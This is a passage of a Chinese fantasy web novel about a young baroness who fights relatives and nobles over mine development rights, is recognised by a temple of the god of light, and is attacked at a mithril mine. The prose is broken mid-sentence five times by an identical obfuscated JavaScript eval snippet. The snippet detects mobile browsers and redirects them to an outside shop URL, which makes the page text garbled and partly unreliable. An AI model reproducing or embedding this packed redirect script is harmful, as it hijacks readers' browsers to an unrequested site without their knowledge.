格林菲尔见他不装了,之前的和善温柔就像是褪去的幕布一样,再也看不到被遮住的那一面,便也不客气的说出了问题所在:“特立特和你签订了矿场开发权的金额,合同上确实是有。” “可是那是他和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367211|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你签订的合同,和我并没有关系吧?” 艾尔法怒视眼前的女孩子,再无刚才放低姿态的和气样子,口气咄咄逼人:“你也是塔尔一员,特立特是以你们家族的名义签订的这份合约,所以——” 格林菲尔直接打断了他没有说完的话,一字一句道:“我-不-认-可。” 见眼前人的怔然,她的话更加直接了:“区区一个代男爵,和你家族签订矿场开发权合约本身就是错误的,从一开始这个领土的拥有者就只有我一个人。特立特和我都姓塔尔,可是我——格林菲尔·塔尔,才是真正的家族继承人。” “作为现任男爵,我不承认你和特立特·塔尔所签署的协议,有什么问题?” 艾尔法目瞪口呆:“你想要赖账?” “赖账?”黑发女孩子冷哼一声,“你应该庆幸,现在和你谈话的是人是我,而不是奥斯维特伯爵。我不给你分成,其实是为了你好啊,姐夫。你大概还不知道,他们拿走了六成还不满意,这意味着什么……你不会不知道吧?” 格林菲尔的话让艾尔法一下子冷汗直冒:“你的意思是……伯爵他们还打算索要更加的开发权?都已经六成了啊。” 他看着面前的女孩子托腮,露出了苦恼的表情:“是啊,一个个都来找我要矿场开发权,可是我手上只剩下四成,要是给你一成问题是不大,可是若是他们得到消息说我给了你的话……不敢想啊不敢想。” 她这话才说完,眼前的男人就嗖的站起身,她忍不住问道:“姐夫,你怎么了?” 艾尔法粗鲁的拿起桌子上的文件,一把火烧了,语气生硬:“今天打扰了。” 根据他们当年同意特立特将女儿嫁给他家的原因,除了那丰硕的陪嫁外,还有数不尽的矿场资源。就如格林菲尔所说的“没有人会不喜欢钱”,同样的……也没有人会觉得钱多。他们签署了协议以后,矿场的开发才刚刚开始,自然是拿不到什么好处。不久前他们得知特立特出事了,就心急火燎的从其他大陆赶过来,就为了趁这个家族彻底败落前分一杯羹,在得知如今的男爵只是一个不足二十的女孩子,他们自然生了轻视之心,觉得不需要花费什么心思就能拿到想要的,所以都不分场合不分地点的去了领地。 本来志在满满的心情,在得知伯爵和皇室也和矿场开发权有牵扯,顿时什么都不想要了。他们是贵族没错,可是还没有能力和这么高阶级的贵族斗争,和这种人斗破财都算是小事了,弄得不好直接家破人亡。 管家送走了匆匆来匆匆去的男人,嘀咕了一声:“怎么这么匆忙。” 会客室中,格林菲尔沉下脸:“本来的话,我还觉得可能没有办法对付伯爵,现在的话有了。” 泽维尔:“什么?” “一个个都这么喜欢矿场开发权,而如今的我保不住的话,那么就只剩下拍卖一条路了。” 矿场开发权一成是五百枚金币,那么她的起拍价就是三万枚金币。 端坐在沙发上,格林菲尔煞有其事道:“大家都是文明人,就用金钱解决问题好了。” 19. 契约 无论哪个朝代哪个世界,对于一个国家的国王很难用好坏去评价,尤其是这个充满了魔法、剑,还有神的世界,更是难以用往常的认知去评论一个人的立场。格林菲尔觉得,在各方势力都对矿产虎视眈眈的情况下,只凭如今的自己想要护住那片矿产,着实是不太现实。特别是,她对于现在的皇室,还有最高位掌权者的那位国王陛下本人不了解的情况下,想要寻求皇室的帮助也是痴人做梦。 艾尔法·塞顿这个便宜姐夫的到来,虽说有那么一点突然,但是却因为和特立特代男爵签订的协议,让她想到了一个好方法。不,应该不是说方法,她内心隐隐约约是有过这样打算的,只是没有一个合理的名头。 先前她因为和外界联系不多,面对奥斯维特伯爵强盗一样就差明抢的说法,只是碍于没有更好的说辞,只能用装傻拖延时间,以此来自己了解物价什么的。说到底,对于这件事她是有些懊恼的,她本来就应该一开始就去了解物价的,而不是等到有需求了才想到这件事。 不同于她后悔的情绪,泽维尔则是语气疑惑道:“若是没有先接触那位炼金术师的话,你又哪里来的【格林菲尔】转移魔法师的视线,得到自由去调查物价和买坠子的?” 听到了对方的提醒,格林菲尔露出了恍然大悟的神情:“哦对,我差点都忘了这一茬了。” 孩子气的拍了拍自己的脑袋,她鼓起了腮帮子,双手托着下巴:“泽维尔,你觉得我委托谁去处理矿产剩余三成的拍卖?” 开采权她肯定要拍卖,但是也要给自己留一成创收,这好歹也有五百枚金币,又不是和钱过不去,没有道理全部拍卖掉。通常来说,一个正常有着爵位的人,绝对不可能轻易的将矿产开发权让渡给其他人,若不是为了生存,她何至于将仅剩的四成还卖了三成?不就是为了堵那些人的嘴? 若是有人不知道拍卖事情,想要问她拿矿产开发权,她就算是可怜巴巴的说“我都卖了,自己就留下了一成”的话,其他人就算是再眼馋她这仅剩的部分,也做不到和强盗一样直接索要的程度。 当然了,对于那些人可能会用什么恶劣的手段去夺取自己那剩下的一成矿产开采权,格林菲尔也不可能猜不到。但是只要不是明面上用身份什么的打压她,其他手段她反而不怕,既然都是见不得光的手段,那么失败了也是理所当然的事情。 不过,在拍卖会开始以前,她还需要对自己所在的宅邸进行修葺,就现在连一个防卫结界都没有的宅邸,她很难放心当拍卖会的事情暴露以后。 “我算了一下,艾尔法这个家伙一定会把我的话告诉其他贵族,到了那个时候皇室也就会知道我的计划了。” 格林菲尔说到这里,停顿了一下,才继续道,“我至少要在那天之前,将所有的一切都给安排好了。” 书房中,她坐在桌子边,桌上就放了一份计划表,是关于她之后管理这个领地,还有一些人员调动和栽培的计划的。因为她丝毫不顾及写的词是不是过于现代化,会让人看不懂。 泽维尔好奇,却到底是没有问,根据他对女孩子的了解来看,毫不在乎的写这些让人不能理解的词,应该是她自己用来看的,和其他人没有关系。 抖了抖自己写了一上午的计划表,格林菲尔弾了弾上面不存在的灰尘,慢悠悠地道:“以前的话不知道,不过这件能够拿到好处却会得罪人的事情,我是不会让安托玛丽来做的。再怎么说,她向我投诚了,如今也算是唯一在身边的亲人了。” 也许这么说不太好,但是她还是看重亲情的,只是没有在其他世界看得那么重。在那个世界,自己的父母可以为了自己的弟弟,放弃到手的财产,就为了成全所谓的亲情。这样的行为,在他们这些年轻人眼中是不能理解的,因为他们认为那是自家应得的,什么叫做为了不能为了钱闹得不愉快?不过这到底是父母一辈的事情,他们这些做子女的管不到太多,他们能做的就是无愧于心。 可能是因为上个世界家人对自己的影响太深,导致她对这个世界的家人也特别的宽容,就算是特立特这个家伙,她也给了很多次机会。对于其他人,她可能就没有那么大度了,不管是如今的皇室,还是伯爵先生,她——一个都不会放过,一旦她查明了他们和父母的死有关系,不惜鱼死网破。 “你这么说了的话,那就让贪图利益又出卖你的人来负责这件事好了。”泽维尔心中马上定下了一个目标,“你培养的势力不是已经有了这样的人选?” “女仆长和管家,挑一个是吧?” 泽维尔沉思了一会儿,给出了一个建议:“不,同时选定他们两个人,但是不让他们知道这件事。” 由于格林菲尔的男爵身份在,泽维尔打定了主意,就算是宅邸因为管家和女仆长反目,那也只是因为他们没有通过领主大人考验的结果,不会有人将这件事往挑拨离间上面去想。真的知道男爵大人有自己小心思的,那必然是其下面的势力,这类人和之前特立特在时候的佣人们从来不是一个阵营,也不可能让他们去告密,说明真相了。 格林菲尔很快就明白了泽维尔的意思,便先后唤来了女仆长和管家,先是各种赞美他们的品行,说相信他们的办事效率,一定不会让她失望的……等等听了就是画大饼但是没人会去怀疑的话。 最后,才是真正的关键。 将一份委托代理信函在不同的时间段,交给了两个人,确保他们并不知道这份信函有第二份的情况下,让他们近期就准备好拍卖的事情。 忽悠完了两个人,格林菲尔收起了虚假的笑容,往沙发上一靠,露出了一点疲惫的神情。泽维尔已经被她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377861|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊去观察安托玛丽那三人的情况,她敢用他们一家子,亲情和真诚一个都没有少,那才是真的打动她的地方。可以说,安托玛丽虽说不是贵族,但是做人很有分寸,也知道距离感,想要成为格林菲尔有力的部下,却绝对不会不明所以往前凑,也很理智的不会去接自己做不了的事情。 安托玛丽早就收到了管家的吩咐,已经提前打理好了自己,坐在了大厅中。由于并没有被告知男爵找自己什么事情,她连小包都带上了,说不定就是让她和之前那样临时出门?有了上一次大早上什么都没有准备的突发状况,她如今都是在确保自己可以马上出发的状态下入睡的。 没有让她等很久,她就见到了自己的外甥女,在得知对方确实是并没有驱逐自己的意思后,她现在面对对方也放松了不少。 “舅妈,虽说你现在帮我办事,可是有些规矩我们还是需要立下。” 安托玛丽连连点头:“应该的。” 格林菲尔抬手,手上有光芒在轻轻闪烁:“我是个自私的人,我很担心也很害怕被人背叛,所以需要提前和你签订一个契约。” 她的视线停留在面前的贵妇身上,神情柔和而专注:“比起口头上上的承诺,我更相信这种建立在双方都遵循规定的契约上面。” 格林菲尔本以为,要说服安托玛丽签订契约需要花费一段时间,毕竟就连她这种人都不太愿意和神啊契约之类的扯上关系,更别说这些本土的人了。 就在她寻思着怎么给眼前的女人解释这个契约的特殊之处的时候,对方直接回答:“好。” 格林菲尔愣住。 啊?她这还没讲明呢,就这么答应了? 万一呢? 似是早就有所准备,安托玛丽撩了下头发:“其实,我和男爵大人您一样,不相信口头上的承诺。也许您可能会不相信,我本身觉得自己怎样都无所谓,但是为了孩子我还是希望自己可以活下来。” 她一直觉得自己这样想要活下来,却找尽理由的想法很卑劣,可是这就是事实。她这一生已经被特立特给毁了,就算是再嫁,也无法抹平那曾经受到过的伤痛。可是她的孩子们不同,最小的两个如今还需要有人庇护他们,呵护他们的成长,他们已经没有爸爸了,不能再失去母亲。 安托玛丽:“所以您能够以契约的形式让我安心,我真的很高兴。” 格林菲尔觉得她还是不够了解自己的舅妈,了解这个世界的人,在她看来契约并不是什么好事情。 签订契约的双方都没有抵抗的心态,以不伤害不背叛对方为准则,她们在契约签订后,这才真正的放款了心。 泽维尔由于知道格林菲尔对神之类的排斥心态,就没有和她说明真相。 其实,他们之间的约定,等同于神和人类签订的契约。 20. 祭司 比起塔尔领地的岁月静好,其他地方都因为矿场开发权拍卖的事情,掀起了不小的波澜。 尤其是之前拜访过塔尔领地,还在和上面人商讨要如何合理的解释以后,又可以从格林菲尔那边拿到剩下的三成开发权。他这边还没有谈妥,就从仆从那里得知了拍卖行的消息。 作为贵族,想要得到某些东西,大部分都不是靠去什么地方买,而是直接在拍卖行看看当期都有什么特别的商品,看到了感兴趣想要的商品,买了入场券拿了牌子,等候拍卖行告知时间地点就行了。这种购买商品的方式特别方便,不需要和普通人一样去商店人挤人,也不用为了不确定每天会进货什么商品一天天的去看。 奥斯维特也是贵族,通过各种渠道能够弄到不少钱,他偶尔也会去拍卖行看看有什么合适的产品,不过大部分还是让自家管家负责这种事情,他主要做的事情还是在管家将产品册拿回来确认的事情。 从管家那里拿到了册子,他刚刚打算翻开,就被管家给打断了动作。 管家穿着一身衣服,站得很直:“大人,我看了下这次拍卖行的商品名单,里面有一件很奇怪的商品。” 男人披着外套,并没有系上扣子,管家的话让他倒是对于手上的商品产生了些许兴趣:“哦,奇怪的商品?有多奇怪,总不能是连是什么都不知道的那种吧?” 他这么打趣道,不曾想管家却给出了肯定的答复:“大人,确实是有这么一件商品。来源,价格,什么品类,这些现在都没。唯一知道这件商品很重要的原因,是因为这是最后一件拍卖商品。” 奥斯维特露出了讶异的神情:“拍卖行这次胆子这么大,将压轴的商品给藏起来,倒数第二件商品可是一千枚金币起拍价,这最后一件到底是如何能够高出这件的。” 别的不说,倒数第二件的商品是如今最为流行的神器,即便是他也想不出来,有什么东西的价格还可以超越神器。 虽说最后拍卖的商品藏着掖着,但是反倒引起了奥斯维特的吸引力,他决定不管是不是他想要的商品,一件能够超过神器的商品,怎么都值得出一次入场券的钱。 手上的商品清单里并没有想要的东西,他干脆的合上了册子,交给了面前的管家,吩咐他:“这次的拍卖会我会参加,你去安排一下。” 若是普通人,都会忍不住问一句连产品样子都不知道,还要去参加,万一只是价格虚高的商品,岂不是白跑一次?作为伯爵的管家,这位中年男人绝对不会说一个不字。 他毕恭毕敬的开口道:“遵命,我这就去为您安排,大人。” 管家离开以后,奥斯维特将衣服给好好的穿上,翘起二郎腿,拿起了手边的一份文件,那是另外一位伯爵给他的反馈。 【经核实,神殿那边的名单里有格林菲尔·塔尔的名字。由于光明神殿从来不是普通人可以进入的关系,这份名单通过正常的渠道流出来以后,就没有能够再获得消息了。】 一直以来徘徊于心头的疑问得到了解答,让奥斯维特松了口气,同时又感到了不安。 特立特·塔尔不是什么好人,所以在得知他收养了外甥女那刻起,没有人觉得这个对外界一概不知的孩子能够活下来。当然了,他们之中也有反对将塔尔继承人留给特立特照顾的,可是却因为这位代男爵给的太多,而他们又和格林菲尔没有什么交往,自然是就再也没有提这件事了。 就在所有人以为特立特·塔尔拿够了好处,打算解决掉这个在自己发展上唯一的阻碍的时候,所有人发现特立特翻车了。至于他到底是怎么翻车的,他们是怎么都查不到。在这个世界上,只要做了的事情就不可能不留有痕迹,除非是有神明的干预,只是一个普通的没落贵族的继承人,什么时候和神扯上关系的?要知道这四个大陆的国家都压根不会因为所谓的神,去和皇室还有贵族扯上关系,因为他们会权衡利弊,不会轻易得罪人。 可是来自于中央大陆的神殿的话,那么就不只是干扰的问题了,他们非常的护短,就算只是候补神殿的神职人员,只要在他们的名单上,他们就会不遗余力的去保护去帮助。 在塔尔这件事上面,奥斯维特至今不知道神殿那边是如何救下了格林菲尔,又让特立特做过的事情给彻底暴露的,但是既然是神明的使者出手了,那么他们就算是继续猜也无济于事。 雷萨布伦特国,又称为中央大陆,比起对于这个大陆的皇室有所忌惮,实际上是这个国家侍奉的神殿让他们更加敬畏。 光明神,那是位于所有神之首,又是一个喜怒无常的神明,格林菲尔无缘无故出现在神职人员候选名单上,事先并没有人任何人得到过消息,那么就只能说这位神明选择了这位没有任何背景的女孩子作为侍奉者。 这样的认知,让奥斯维特觉得很棘手,他们和皇室确实有很多手段可以让格林菲尔这个孩子就范,逼她将剩下四成的矿场开发权全部吐出来没错,可是一旦对方和神明牵扯上关系的话,他们这边就要掂量掂量自己的命和这些权利比起来孰轻孰重了。 特伦伯爵带来的这个消息,在他们那个阵营里引发了不小的骚动。 尤其是特伦伯爵本人,本来他是要和特立特家的联姻的,不过因为这个代男爵出了状况,自然也就没有完成这个约定的理由。奥斯威特让他彻查格林菲尔可能有关系的对象,他也只是四处撒网,其实在将她的调查工作开拓到另外一个大陆上的时候,他自己也觉得荒唐,不过既然是彻查自然没有松懈的理由。 事实证明,他的这份荒唐得到的现实才更加的令人觉得匪夷所思。 特伦伯爵拿到消息的第一时间,自己就已经看了起来,要不是偶然间想到这么做,他真的想不到……一个和外界没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386585|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有丝毫联系的小女孩,竟然能够得到神明的青睐。是因为长相?还是其他什么,他们不得而知。 他只知道,原先的计划都泡汤了。 凡是和神扯上关系,至少在明面上他们是无法动格林菲尔一下了。 这份名单的消息,很快在塔尔领地传开。 格林菲尔接待了来自于神殿的祭司,经过对方礼貌的说明了来意后,看向了她的身后,露出了笑容:“看起来,您已经被正式选为神职人员了,塔尔小姐。” 由于有外人在,黑发女孩子没有转头,可是她确定眼前这位神殿祭司看着的方向,正是泽维尔所站着的位置。 哦,懂了,泽维尔死前是神殿祭司,难怪总是怂恿他去做什么神殿神职人员,原来是这么一回事。 她并没有仔细去观察祭司先生的目光,不然的话可以在其中看到很多不一样的情绪。 比如——敬畏、憧憬。 蓝色长发的祭司微笑着说明了接下来的安排:“虽说格林菲尔小姐您已经被确认为神殿祭司人员,不过那也是需要您满二十时候的事情了。在那之前,我们会确保您的人身自由,不会让皇室和其他人干涉您任何事。” 原本的话格林菲尔还觉得祭司来就来了没什么特别的,现在听到对方这么一说,才明白这是多了一重保护伞。换言之,有了神殿认可她的身份,她本身就已经和神扯上关系,其他人也要给她几分薄面。以前她的身份只有男爵大人,现在有多了一个祭司大人……好像听起来还不错? 男人补充道:“过些日子,我们会将人祭司服给送过来,您若是要出入正式场合,或者不喜欢的活动,都可以穿上这套衣服。地位和财富我们无法保证您什么,可是您只要是祭司一天,那么就会有我们的庇护,其他人无法强迫您什么。当然了,这样的保护会持续到您二十岁,到了那个时候您如果决定还是普通人的生活更好,那么我们也会尊重您的选择。届时您会成为挂名的神殿人员,除了不需要去神殿报道,您和其他人并没有区别。” 格林菲尔顾不上装傻了,目瞪口呆道:“待遇这么好?” 这位大祭司只是笑而不语,内心却颇为无奈。 光明神都跟在您身边了,我们还能怎么样?有神庇护的人,我们怎么都不可能从神殿之中剔除出去啊。 不同于其他人,这位大祭司很清楚光明神能够看中的候选者,肯定是有着他们所不具备的力量,不然的话也不会身上带着神的契约了。 大祭司离开以后,格林菲尔扭头看向身边的金发男人:“你早说我可以得到庇护,我绝对会把神给利用到底的啊。” 泽维尔:嗯?他是不是听错了,什么将他利用到底? 脑子还不是很清楚的他,还是下意识道:“你也没问我啊。” 成为神殿祭司的好处,是人不应该都知道? 21. 意外 在神殿大祭司离开前,其实明里暗里说了一些事情,但是因为他们不站任何势力的关系,说出来的话还是比较含蓄的:“您不用担心再被限制自由,可以去做自己想做的事情,接下来的这段日子您可以自己考虑看看,到底要不要进入神殿。” 成为神使,表面上看起来十分光鲜亮丽,实际上已经和自己的过去彻底告别。同其他四个大陆的神殿祭司不同,中央大陆的神殿信仰的是光明神,而这个神的信徒们是会将一切都给舍弃,就为了守护这个世界安危的。 所以,可以的话他们也想成为普通人,去过着凡人的生活,去烦恼很多人唯恐不及的日常,因为那是他们无论如何都是无法勾得到的幸福。也许他们之中有人小时候并未被选为神明的使者,可是等自身的天赋被发现,被送去神殿以后,他们也就彻底断绝了和外界的往来。 进入光明神神殿的神职人员,无论在被选为使者的时候,是如何的不情愿,最终他们都会心甘情愿的留在了那个地方,直到他们的使命完成。 直到这个世界不再受到黑暗的威胁,他们才能彻底自由。 就是因为足够了解神殿的一些规定,尤其是光明神的使者应当承担的职责,所以格林菲尔一直不愿意接受泽维尔的建议。只是从神殿来的祭司告诉她的那些话来看,事实好像和她所想的不太一样,神殿分明就是很自由的,你看都能让有资质的人选择之后要不要进入神殿,这哪里和书上记载的一样啊? 泽维尔很清楚,那位祭司并不具备能够看到他的力量,只是力量的感知比较强,才会让对方发现自己的存在。只是,就算是确定他就在格林菲尔的身边,也不会多说什么。不得不说,他当年对于神使的挑剔,在很多时候真的是帮他减少了不少的麻烦。 和其他神使不同,格林菲尔是他所见过的最有资质的那种,而且她就算不是圣女,也至少是拥有圣女级别的力量的,这对于大陆如今的处境非常有帮助。他现在唯一苦恼的就是,他因为力量和记忆的不完整,无法通过格林菲尔释放的力量去辨别,这个人到底是不是世界一直都在等待的圣女。 格林菲尔原先是有其他安排的,因为神殿祭司的临时到访,一下子被打乱了计划。虽说对于神殿这么自由,让她颇为意外,不过她也大概明白她可能是有圣女的可能性,所以对她的话光明神特别的宽容。 她并不是什么喜欢炫耀的人,既然神殿对她的态度和对其他神使不同,那就代表着她到底是特例,这不是什么应该大肆宣扬的事情,她有这个分寸。 让贴身女仆将祭司服装给收起来,她开始回忆:“我本来是想要做什么来着的?” 泽维尔本来还想说什么,现在看这人马上就将神殿的事情抛之脑后,除了感叹不愧是被他看中的神使候选者,就算是经历了神殿祭司的拜访,也没有露出丝毫因为身份的特别喜悦的情绪。 想起来了今天本来打算做的事情,加上又有神殿祭司说过的话在先,她感知了一下四周,果然原先一直无所不知的窥探视线彻底的消失了。 “虽说我对于神殿的话不完全相信……” 泽维尔:难怪反应这么平静,是因为没有真的彻底相信的关系啊。 格林菲尔姑且露出了一个笑容:“不过因为他们带来的消息,我明面上可以做很多事情了。” 想要做的事情很多,只是之前光是靠着阻碍来自于外界的窥探魔法,就已经让她耗尽了精力。虽说有泽维尔的力量帮助,可以免掉不少麻烦,但是可是和彻底的没有耳目盯着还是完全不同的。 “今天去看看矿产的开发情况吧。” 来到这个世界以后,格林菲尔其实很少会主动去什么地方,一是因为之前的身体状态,二的话就是为了活下去而藏拙。 对于所谓的矿产,她是真的非常好奇,到底是怎样的矿产开发权,可以让皇室和一个人品非常糟糕的男人扯上关系,甚至为了那些开发权得到的利益,还不要脸的和她谈,就差直接抢了。 没有来过矿产地,出门前女仆长让她多穿一点衣服,还有找一些能够保护好她的骑士。 说到骑士,她之前确实是提拔了几个,而这几位实力还不错,她在其中挑了一两个带上,就没有再管仆人们忧心忡忡的面容了。 泽维尔瞥了眼那些被留下的家仆,嗤笑一声:“有我在,其实根本没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392830|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必要带人。” 格林菲尔已经习惯了这位搭档的骄傲一面,连连道:“是是是,对对对。” 马车里只有她一个人,就算是直接开口,也不至于被人发现什么奇怪的地方。虽说泽维尔的存在省去了她不少的麻烦,但是她还是想要一个能够让所有人看得见的搭档。 决定了,之后材料和时间足够了,就让大师做一个躯体让泽维尔用。 一个没有任何依靠的落魄贵族小姐,在经历了差点被家里人给卖掉不得善终的事件后,身边留一个可以保护自己的贴身人偶也不是什么不对的事情对吧? 格林菲尔之所以不知道矿产的存在,是因为本身矿山就离她比较远,又有人存心知情不报,让她失去了获悉这件事的可能。 现在乘坐着马车一路前进着,她已经感觉到那刺骨的冷意开始明显了,也知道了为什么女仆让她多穿一点的原因。这个季节虽说快冬天了,可是到底还算是比较凉爽的时候,而矿山外面已经冷得下雪了。 泽维尔掀开了一部分帘子,看着外面飘飞的白雪,一言不发的沉默着。 对于这位偶尔不开口默默思考的样子,格林菲尔一开始还会觉得奇怪,次数多了也就不再会当一回事了。 马车骤然停了下来,格林菲尔若不是有泽维尔的帮忙,脑袋已经因为失去平衡撞在了车厢上。 她将脑袋从男人怀里挪出来,满脸的错愕:“发生了什么?” 很快地,她就听到了外面的喊打喊杀声音。 泽维尔挑了挑眉:“看起来这个矿山,还真的是藏了不少秘密。” 格林菲尔不置可否,只是通过窗帘的缝隙看向了外面,由于白雪落下的关系,她并不能清楚的看到外面的战况。不过这些人是她亲自挑选的,能力和忠诚是可以保证的,所以她并不担心他们会战败。 不,就算是败了,她自己也能出手。 垂下头,她看着自己手上的戒指,这是她的杀手锏,附加了上位魔法的戒指。通常来说,一个火系魔法就足以解决一切麻烦,但是她认为因地制宜会更好的体现出魔法的强大和威力,因而她在戒指里储藏了所有系的上位魔法。 22. 祸乱 异世界的矿产,同格林菲尔原来那个世界的不是一个产物,原先世界的话矿产都是用在建材、家电……这种日常生活中的一部分。而在这个充斥着不同种族的神代世界,最出名的矿产是以有没有魔力、能不能超越原先价值来判断的。 魔法矿石,这就是这个世界最有价值的一个矿产,而这些矿石之中,还分为三六九等。因为分类太过松散,格林菲尔在简单了解了自己管理的矿山上的情况后,就没有过多的再去学习关于这方面的知识。倒不是她不愿意去学,而是她的魔法训练一直停滞不前,这可把她给愁的经常没有什么胃口,而问了泽维尔到底是怎么回事,对方也给不出个合理的解释,只是安抚让她不要急。本身实力就没有再精进了,日常训练就更加不可能落下,因此现在比起看杂七杂八的书,格林菲尔基本上就只看学习方面的书,无论是对于武器的应用,还是其他她魔力够了但是就是用不出来的魔法,她将这些自己不会或者不擅长的知识都刻入大脑中,以后有需要了就可以直接用了。 作为这些魔法矿石中佼佼者的秘银矿的开采地,正好有一个就在她这里。 关于秘银矿的知识,格林菲尔有问过泽维尔,不过这人好像对于这方面的情报特别的不熟悉,她等了老半天也就等来了一句“用来打造秘银剑的?”的反问句,于是她悟了,这人是真的不清楚秘银矿的特别。 由于是自己一手提拔的骑士,她对于外面的乱战并不会太过放心上,反而开始思考到底是谁在她不知道的情况下,悄然染指了这一片矿产的开采。奥斯维特伯爵有说过,这里的开采权给出去了六成,那么就没有阻拦自己进入山洞的理由,在双方都拥有权利采矿的情况下,共同开发这个矿产地才是最为合理的做法。 也就是说,现在在外面和自己的几个骑士打的火热的敌人,根本不是奥斯维特伯爵和皇室那边的人。 思及此,她轻声对着泽维尔说:“你帮我去看看,那些敌人身上有什么特殊的标志吗?如果有的话,就将图案的样子告诉我。” 泽维尔:“你怀疑是其他没有开采权,完全不经过你允许私下里过来的贵族?” “奥斯维特他们拿到了六成的开采权尚且都没有满足,还在惦记着我这边余下的,而和特立特结亲的艾尔法·塞顿,明明在签订了约定以后就没有再来过塔尔领地。而现在,就算是知道特立特败了,我拿到了男爵的身份,他还是没有放弃的找了过来,若非这个矿场的开发权足够吸引到他,他也不可能在明知道特立特出事后还会过来。” 泽维尔啧了一声:“所以你怀疑在外面对你出手的人,就是你的姐夫艾尔法?” 格林菲尔轻轻摇头:“不,我只是觉得,这种和我完全陌生的人,都能仗着自己和我仅存的一点关系,跑过来找我兑现他和特立特约定好的东西,可见这其中的利益之大,能够让所有人都为之心动。既然他们这些有或者可能有分成的人都尚且这么惦记,其他根本拿不到矿场开发权的人,面对着这样的诱惑,不可能毫不动摇。” 金发男人轻哼一声,身影从窗口掠出去。 他从窗口的护栏用力一踩,一个翻身就跃上了马车顶部。站在上方,他看着四周会格外的清晰,没有人可以看到他,他也不需要担心成为别人的靶子。在车顶蹲下,他一只手撑着下巴,另外一个手指着那些攻击的人,自言自语一般说:“看到了吗?” 他的话音落下,原先待在马车里的格林菲尔抬起头,看着在她面前播放出的画面,下意识道:“这是直播?” 没明白她的意思,不过熟悉了她偶尔会有奇怪思考方式的泽维尔出声道:“我和你共享了视觉,你现在所能够看到的,就是我在外面看到的。” 由于是上方的关系,格林菲尔并不能清楚的看到每个人身上衣服的纹路,可能是因为下雪遮挡住了,她于是吩咐泽维尔:“你能不能飞到空中,每个人那边绕一圈。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396997|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 泽维尔:“……” 他发现了,自从签订了契约以后,这个人类女孩子是对他没有丝毫的敬畏了。 算了,反正他暂时也不打算用光明神的身份做什么,答应了的做不到也未免太没用了一点。 按照格林菲尔要求的,他飞到了每个人的身边,看着那时不时窜起的魔法火焰,还有不同的魔力涌动,他还是意外了一下。由于共享视觉,在马车内的格林菲尔也看到了这一幕,而这让她更强确信了原先的猜测。 当她得到了想要的情报后,外面也已经彻底安静了下来。 泽维尔回到了马车内,听到女孩子问他:“外面没有留活口吗?” “他们是想要留的,但是对方自尽了。” 通常来说,为了保护好主人的消息,死士会自己选择死亡。而在外面打得这么轰轰烈烈,动静这么大的情况下,里面却并没有一丁点反应,就可以看得出来这些死士身后的人并不在山洞附近。 走下马车,格林菲尔来到了刚刚看到的那个尸体的身边,撩起他的衣袖,看着上面的纹路。 比尔骑士来不及阻止男爵下车,看着她走到了一具尸体面前,在对方露出了袖子的内衬上,一个特别熟悉的纹路印在了上面。 以刺绣的工艺。 看到纹路,他和另外一个骑士脱口而出:“塔尔家的家徽……可是为什么?” 格林菲尔听到骑士们的话,反倒安心了不少。 “我这个舅舅真的是贪心不足啊,明明我和皇室都已经给了他一条活路,他偏偏要选择思路。” 说到这里,她不由得摇了摇头:“我真是没有想到,他居然会对这里的矿场这么在乎。” 泽维尔忽然想到了一件事:“秘银剑,那是大陆上最为锐利最为轻薄的武器,在战场上无坚不摧。” 像是被点醒了什么,格林菲尔猛然间抬头。 “特立特是打算发动战争?” 23. 